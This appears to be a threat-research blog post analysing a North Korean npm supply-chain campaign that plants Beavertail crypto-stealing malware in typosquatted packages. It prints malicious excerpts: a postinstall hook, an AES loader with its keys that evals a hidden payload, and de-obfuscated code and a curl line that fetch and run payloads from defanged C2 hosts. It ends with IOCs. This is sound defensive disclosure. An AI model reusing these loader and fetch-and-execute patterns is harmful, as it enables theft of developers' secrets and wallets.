North Korean Crypto Stealing Campaign Rears Its Head Again

Veracode Threat Research continues to track a persistent North Korean crypto stealing campaign we last reported on in June 2024. Our continuous monitoring systems recently flagged four suspicious packages but our investigation uncovered and we subsequently blocked a total of twelve malicious packages. We observed encrypted and un-encrypted payloads with different encodings, but always obfuscated and with different obfuscation strategies. We also observed C2 infrastructure and key re-use.

The Journey into the North Korean Crypto Stealing Campaign Begins

Our continuous monitoring systems recently flagged four suspicious packages cloud-binary, json-cookie-csv, cloudmedia and nodemailer-enhancer, which upon investigation we identified to appear to be similar in nature. In addition to the continued use of port 1224, the reuse of C2 infrastructure and encryption keys as well as code similarities; we were able draw a connection between these packages to the same attacker or possibly two attackers (more on that later). For example we observed this snippet of common code in all four packages. It is suspected this could be version 3 of the malware since we reported on February 2024 on the presence of ~/.n2:

if (!testPath(getAbsolutePath('~/') + "/.n3")) {
  fs_promises.mkdir(getAbsolutePath('~/') + '/.n3');
}

This malware campaign targets developers to trick them into installing malware during an interview exercise. This is in an apparent attempt to continue to fund the sanctioned country with stolen crypto currency and to steal from the developer’s computer any secrets that could be potentially used for initial access to corporate networks. An example of this is with the bingo-logger package which executed the malware when unit tests were run. Running unit tests would be expected during a live-coding interview in which developers would be expected to demonstrate Test-Driven-Development (TDD) skills.

Peeking Inside cloud-binary

This package was the first we reviewed during this investigation and we found has a lot of features. It is a typosquat on the cloudinary NPM package. Here is what it looked like on NPM before the package was removed – the content of which was very similar to the package it was cloned from:

We looked at cloud-binary version 2.7.0 and observed a postinstall hook to run a malicious JavaScript file upon installation. This can be seen in package.json:

"postinstall": "node lib/utils/analytics/index.js",

The file lib/utils/analytics/index.js spawned a detached process to run lib/utils/analytics/node_modules/file15.js in the background. The malware was intentionally placed within a seemingly uninteresting node_modules folder – a folder that developers would be unlikely to manually review. Below are the contents of file15.js.

const fs = require('fs');
const path = require('path');
const parseLib = require('../parse')
const filePath = path.join(__dirname, 'test.list');
fs.readFile(filePath, 'utf8', (_, data) => {
  eval(Buffer.from(parseLib(data)).toString('utf8'));
})

On closer inspection parseLib turns out to be a simple AES-256 decryption routine in lib/utils/analytics/parse.js to unscramble the payload stored in lib/utils/analytics/node_modules/test.list. Here is the decryption logic within parse.js, note that the decrypted value was immediately executed by the eval call from file15.js:

const crypto = require('crypto')
module.exports = function getCallers(encryptedHex) {
  const key = Buffer.from('0123456789abcdef0123456789abcdef', 'utf8'); // 32 bytes for AES-256 
  const iv = Buffer.from('abcdef9876543210', 'utf8'); // 16 bytes for CBC mode 
  const algorithm = 'aes-256-cbc';
  const decipher = crypto.createDecipheriv(algorithm, key, iv);
  const decrypted = Buffer.concat([
    decipher.update(Buffer.from(encryptedHex, 'hex')),
    decipher.final()
  ]);
  return decrypted.toString('utf8');
}

The decrypted payload appeared to obfuscated JavaScript as shown in the screenshot of a snippet below:

We were able to de-obfuscate the payload and noticed it appears to be variant of the Beavertail malware we have previously reported on. It has also been documented by Unit42 here who gave the malware it’s name. Of the variants we evaluated during this investigation, cloud-binary was the most feature packed. It supported macOS, Windows and Linux hosts and featured the following core capabilities:

  • Enumeration and exfiltration of system information – OS, platform, username
  • Search for crypto wallets and browser extensions and try to exfiltrate them
  • Search for and exfiltrate Word documents, PDF files, screenshots, secret files, files containing environment variables, and other sensitive files such as the logged in user’s Keychain (macOS password database).
  • Attempted to download a second-stage payload for persistence via curl curl -Lo "p.zi" "hxxp://144.172.105[.]235:1224/pdown"
  • Execute arbitrary Python scripts from the C2 server
  • A WebSocket to receive and execute arbitrary shell commands
  • Sandbox/VM execution evasion

The arbitrary Python script execution feature looked like this for execution on Windows hosts:

const _0x39065a = homeDir + '/.npl';
const _0xdf7c59 = "\"" + homeDir + "\\.pyp\\python.exe\" \"" + _0x39065a + "\"";
try {
  fs.rmSync(_0x39065a);
} catch (_0x255abc) {}
request.get("hxxp://144.172.105[.]235:1224/client/5346/324", (_0x1ac422, _0x33c0f3, _0x4ccd8b) => {
  if (!_0x1ac422) {
    try {
      fs.writeFileSync(_0x39065a, _0x4ccd8b);
      ex(_0xdf7c59, (_0x43f3d0, _0x57385f, _0x20fedc) => {});
    } catch (_0x2c7ee8) {}
  }
});

The malware also works on macOS and Linux:

request.get("hxxp://144.172.105[.]235:1224/client/5346/324", (_0x2da6d6, _0x4b7c93, _0x1c8833) => {
  if (!_0x2da6d6) {
    fs.writeFileSync(homeDir + "/.npl", _0x1c8833);
    ex("python3 \"" + homeDir + "/.npl\"", (_0x91c92b, _0x23d62f, _0x102263) => {});
  }
});

At the time of this report the C2 server appeared to be operating on a compromised Windows Server host in a US data center. The C2 server did not respond to our requests, likely due to a pause in the campaign, so we were unfortunately unable to download pdown for further analysis.

In json-cookie-csv version 1.0.1 we observed an obfuscated file json-cookie-jar.js which was similar to what we noticed in cloud-binary, only this package did not go through as effort to hide this malware. The pdown binary was observed to be requested from a different host again via curl, and the Python script was requested from hxxp://144.172.109[.]98:1224/client/9/905. The client identifier was observed to be different, perhaps for tracking campaign success. There was also a backup C2 host hxxp://45.61.150[.]67:1224 in play.

Version 1.0.0 of this malicious package featured a different IP though the client identifier was the same. It also included this additional HTTP call via the popular axios dependency which appeared to have been bolted on:

axios.get("hxxps://api.npoint[.]io/e5a5e32cdf9bfe7d2386").then(_0x50a11d => {
  moduleName = _0x50a11d.data.name;
  f = _0x50a11d.data.team9;
}).then(() => {
  main();
  Xt();

That endpoint returned the following JSON which appeared to include further obfuscated malicious JavaScript as well as what appears to be a campaign active/inactive flag used to determine whether to also upload the exfiltrated material to the backup C2 server which we observed in many instances:

{
  "lol":"lmao, even",
  "bruh":"hello other people, this is a very good example of how 'lazarus' or whatever you wanna call it, is completely stupid. They really thought no one would edit this s*** lmao",
  "name":"...\\\\.dsa\\d.as.dsa.\\d.\\sa.\\ds.\\a.dsa.\\d.s\\af\\ad.fg.\\qe.\\r.\\.\\4.1.43.\\14.\\3.\\4.3\\1.\\43.\\1431$!#?4514;31';55'13l5;'1'45k'l1@#!$$%!#%!#%#!%!#$%$##@^%#%$^%#™",
  "team1":0,
  "team2":1,
  "team3":1,
  "team4":1,
  "team5":1,
  "team6":1,
  "team7":1,
  "team8":1,
  "team9":1,
  "team10":1,
  "team11":0,
  "northkoreans":"r*******"
}

Given the above JSON response and that this appears to be bolted in, we get the impression there could be another attacker operating in this space.

These variants did not appear to feature the WebSocket capability as seen in cloud-binary.

cloudmedia – A Clone Of cloud-binary

As with cloud-binary we observed lib/utils/analytics/parse.js, lib/utils/analytics/node_modules/test.list and lib/utils/analytics/node_modules/file15.js files. The encryption material was the same as was the encrypted payload.

Something Fishing About nodemailer-enhancer

What stood out about version 1.0.7 of this package was the license file (lib/utils/smtp-connection/LICENSE):

cc5e756e199eb6cde031ad4d4e2dd1faadba0849b25a80a18ab730d1137e63ed108d605e112e098d989a621859a11d73de67a1252f4b5066986a87d6d6f36b3f97687073a8e2f1447125c028f355faa7

That is a most unusual license indeed. The second interesting thing that caught our eyes was a file named LICENSE(old) in the same folder. This had a lot more hex data in it (340kB) than the other file. Could it be that the LICENSE file contains the decryption key?

Also observed in this folder was error-data.txt. This file contained obfuscated JavaScript code. This file was yet another variant of the Beavertail malware. This time, as expected we had a different IP address and client identifier: hxxp://45.61.128[.]61:1224/client/5346/1118. As per json-cookie-csv this variant also lacked the WebSocket capability.

What about that LICENSE file? indeed let’s take a closer look at that. Firstly the parseLib implementation is very similar, only this time with a higher entropy key and IV:

const crypto = require('crypto')
module.exports = function getCallers (encryptedHex) {
  const key = Buffer.from('1c7631aca0c00365e8a7e68dd11045e1d4475c909885d8dccd881f4dce9d0566', 'hex'); // 32 bytes for AES-256
  const iv = Buffer.from('cf17723e776e880802357825a8a139d6', 'hex'); // 16 bytes for CBC mode
  const algorithm = 'aes-256-cbc';
  const decipher = crypto.createDecipheriv(algorithm, key, iv);
  const decrypted = Buffer.concat([
    decipher.update(Buffer.from(encryptedHex, 'hex')),
    decipher.final()
  ]);
  return decrypted.toString('utf8');
}

The decrypted output was the following hex:

EF BF BD EF BF BD 3A 2E EF BF BD

Clearly this was the output from decrypting the small LICENSE file we discussed earlier. It appears this malware is under development. We modified the code to decrypt LICENSE(old) with the same material and saw yet another copy of obfuscated Beavertail, this time we observed: hxxp://144.172.105[.]235:1224/pdown – the same C2 we saw in cloud-binary, including the same C2 WebSocket: hxxp://135.181.123[.]177/api/service/makelog.

This package was found to contain two Beavertail configurations.

Hunting for Other Packages

We notified NPM of the four malicious packages and they have since been removed from the ecosystem. Not content with calling it a day just yet we decided to look for signatures in other packages. We found in total eight packages containing encrypted and obfuscated variants of Beavertail (in the left column) and eight packages containing obfuscated but not-encrypted variants of Beavertail:

  • cloud-binary
  • cloudmedia
  • nodemailer-enhancer
  • rc-logger
  • preset-log
  • gad-logger
  • succgdess
  • bingo-logger
  • json-cookie-csv
  • react-international-phone-js
  • react-smooth-plugin
  • react-smoothy-plugin
  • phone-mockup-react-js
  • react-router-scroll-navar
  • react-is-router
  • json-cookie-jar

During this review we noted that with exception of succgdess and bingo-logger packages, Veracode had already identified and blocked the malicious packages with our Package Firewall technology, as part of our constant review of every published package.

NPM had already removed some of the packages, but we have since informed them of the others, all of which we are blocking for our customers today. None of these packages are currently available to download from NPM.

We will continue to monitor and secure our customers against the persistent threat of this North Korean crypto stealing campaign.

Package Capabilities

PackageVersionsEncryption KeyVariant Notes
cloud-binary2.7.0 – 2.7.1K1A 
cloudmedia2.7.2 – 2.7.3K1A 
nodemailer-enhancer1.0.7K2B 
rc-logger3.4.1K2C 
rc-logger3.4.2 – 3.4.4K2D 
preset-log7.11.8K2C 
gad-logger7.11.7K3 (it had K2 in the decryption logic but that was not the correct key for this variant)CThe encrypted payload was different, but when decrypted was identical to C
gad-logger7.11.8K2C 
succgdess7.11.7K3 (it had K2 in the decryption logic but that was not the correct key for this variant)CPackage removed from NPM by author. The encrypted payload was different, but when decrypted was identical to C
bingo-logger7.11.0NoneNone 
bingo-logger7.11.2None in code (K2 derived from 7.11.6)F 
bingo-logger7.11.6K2F 
bingo-logger7.12.3None in code (K3 derived from 7.12.4)G 
bingo-logger7.12.4K3G 
bingo-logger7.12.7K3GThe encrypted payload was different, but when decrypted was identical to G
json-cookie-csv1.0.0N/AI 
json-cookie-csv1.0.1N/AE 
json-cookie-csv1.0.2N/AJ 
react-international-phone-js1.0.1N/AE 
react-international-phone-js1.0.2N/AK 
react-international-phone-js1.0.3N/AL 
react-international-phone-js1.0.4N/AM 
react-smooth-plugin1.2.1N/AINote “smooth” not “smoothy”
react-smoothy-plugin1.2.1N/AI 
react-smoothy-plugin1.2.2 – 1.2.4N/AE 
phone-mockup-react-js1.0.0N/AI 
phone-mockup-react-js1.0.1 – 1.0.2N/AE 
react-router-scroll-navar1.0.1N/AE 
react-is-router1.0.0N/AEPackage removed from NPM by author
json-cookie-jar1.0.0N/AI 

Variants

VariantNotes
AC2 #1, C2 WebSocket #1, Secrets stealing functionality
BC2 #1, C2 WebSocket #1, Secrets stealing functionality
CC2 #1, C2 WebSocket #1, Secrets stealing functionality
DC2 #2, C2 axios request
EC2 #4, C2 backup, C2 axios request
FC2 #1, C2 WebSocket #1, Secrets stealing functionality
GC2 #2, C2 axios request
IC2 #3
JThis variant made use of a different obfuscation strategy which we did not explore.
KC2 #5, C2 backup, C2 axios request
LC2 #5, C2 backup, C2 WebSocket #2, C2 axios request
MC2 #6, C2 backup, C2 WebSocket #2, C2 axios request

Indicators of Compromise (IOCs)

  • hxxp://144.172.105[.]235:1224 – C2 #1
  • hxxp://45.61.128[.]61:1224 – C2 #2
  • hxxp://144.172.106[.]7:1224 – C2 #3
  • hxxp://144.172.109[.]98:1224 – C2 #4
  • hxxp://144.172.104[.]10:1224 – C2 #5
  • hxxp://45.61.165[.]45:1224 – C2 #6
  • hxxp://45.61.150[.]67:1224 – C2 backup
  • hxxp://135.181.123[.]177 – C2 WebSocket #1
  • hxxp://95.216.46[.]218 – C2 WebSocket #2
  • hxxps://api.npoint[.]io/e5a5e32cdf9bfe7d2386 – C2 axios request
  • SHA256 hash of the decrypted cloud-binary and cloudmedia payload: f11e5d193372b6986b7333c0367ed2311f7352b94b079220523384a3298f5e87

Browser Extension IDs

  • nkbihfbeogaeaoehlefnkodbefgpgknn (MetaMask for Chrome)
  • ejbalbakoplchlghecdalmeeeajnimhm (MetaMask for Edge)
  • fhbohimaelbohpjbbldcngcnapndodjp (BEW lite for Chrome)
  • ibnejdfjmmkpcnlpebklmnkoeoihofec
  • bfnaelmomeimhlpmgjnjophhpkkoljpa (Phantom for Chrome)
  • aeachknmefphepccionboohckonoeemg
  • hifafgmccdpekplomjjkcfgodnhcellj
  • jblndlipeogpafnldhgmapagcccfchpi
  • acmacodkjbdgmoleebolmdjonilkdbch
  • dlcobpjiigpikoobohmabehhmhfoodbb
  • mcohilncbfahbmgdjkbpemcciiolgcge
  • agoakfejjabomempkjlepdflaleeobhb
  • omaabbefbmiijedngplfjmnooppbclkk
  • aholpfdialjgjfhomihkjbmgjidlcdno
  • nphplpgoakhhjchkkhmiggakijnkhfnd
  • penjlddjkjgpnkllboccdgccekpkcbin
  • lgmpcpglpngdoalbgeoldeajfclnhafa
  • fldfpgipfncgndfolcbkdeeknbbbnhcc
  • bhhhlbepdkbapadjdnnojkbgioiodbic
  • aeachknmefphepccionboohckonoeemg
  • gjnckgkfmgmibbkoficdidcljeaaaheg
  • afbcbjpbpfadlkmhmclhkeeodmamcflc